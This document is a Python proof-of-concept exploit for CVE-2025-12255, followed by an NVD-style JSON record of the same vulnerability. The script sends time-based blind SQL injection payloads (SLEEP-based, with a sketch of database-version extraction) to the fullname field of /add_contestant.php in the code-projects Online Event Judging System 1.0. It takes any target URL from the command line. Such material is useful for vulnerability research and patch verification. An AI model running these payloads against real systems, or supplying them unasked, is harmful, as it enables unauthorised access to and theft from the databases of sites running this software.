CVE-2025-12255

import requests import sys # CVE-2025-12255 SQL Injection PoC # Target: code-projects Online Event Judging System 1.0 # Vulnerability: SQL Injection in /add_contestant.php via fullname parameter def exploit_sqli(target_url): """ SQL Injection exploit for CVE-2025-12255 This PoC demonstrates time-based blind SQL injection """ # Target endpoint endpoint = f"{target_url}/add_contestant.php" # Payload for time-based blind SQL injection # This payload causes a 5-second delay if vulnerable # Using CASE WHEN condition THEN (SELECT...SLEEP(5)) ELSE 0 END pattern payload = "admin' AND (SELECT CASE WHEN (1=1) THEN (SELECT 1 FROM (SELECT SLEEP(5))x) ELSE 0 END) AND '1'='1" # Data to be sent data = { 'fullname': payload, 'submit': 'Add Contestant' } print(f"[*] Target: {endpoint}") print(f"[*] Payload: {payload}") try: print("[*] Sending malicious request...") response = requests.post(endpoint, data=data, timeout=15) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Time-based blind SQL injection works.") print(f"[+] Response time: {response.elapsed.total_seconds()}s") return True else: print("[-] Target may not be vulnerable or payload needs adjustment") return False except requests.exceptions.Timeout: print("[+] Vulnerability confirmed! Request timed out as expected.") return True except Exception as e: print(f"[-] Error: {str(e)}") return False def extract_data(target_url): """ Example: Extract database version using blind SQL injection """ # Database version extraction payload version_payload = "admin' AND (SELECT CASE WHEN (SUBSTRING(@@version,1,1)='5') THEN (SELECT 1 FROM (SELECT SLEEP(3))x) ELSE 0 END) AND '1'='1" print(f"[*] Extracting database information...") print(f"[*] Testing if MySQL version starts with '5'...") # Implementation would iterate through characters # This is a simplified demonstration print("[*] Use sqlmap or similar tool for comprehensive exploitation") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12255.py <target_url>") print("Example: python cve-2025-12255.py http://localhost/online-event-judging-system") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sqli(target)

{"cve": {"id": "CVE-2025-12255", "sourceIdentifier": "[email protected]", "published": "2025-10-27T09:15:37.590", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in code-projects Online Event Judging System 1.0. This affects an unknown part of the file /add_contestant.php. Performing manipulation of the argument fullname results in sql injection. Remote exploitation of the attack is possible. The exploit has been released to the public and may be exploited."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:carmelo:online_event_judging_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "9FE35151-38A0-407C-A81B-14BA65BD9F8F"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/zzonce/cve/issues/3", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://vuldb.com/?ctiid.329926", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.329926", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.674006", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}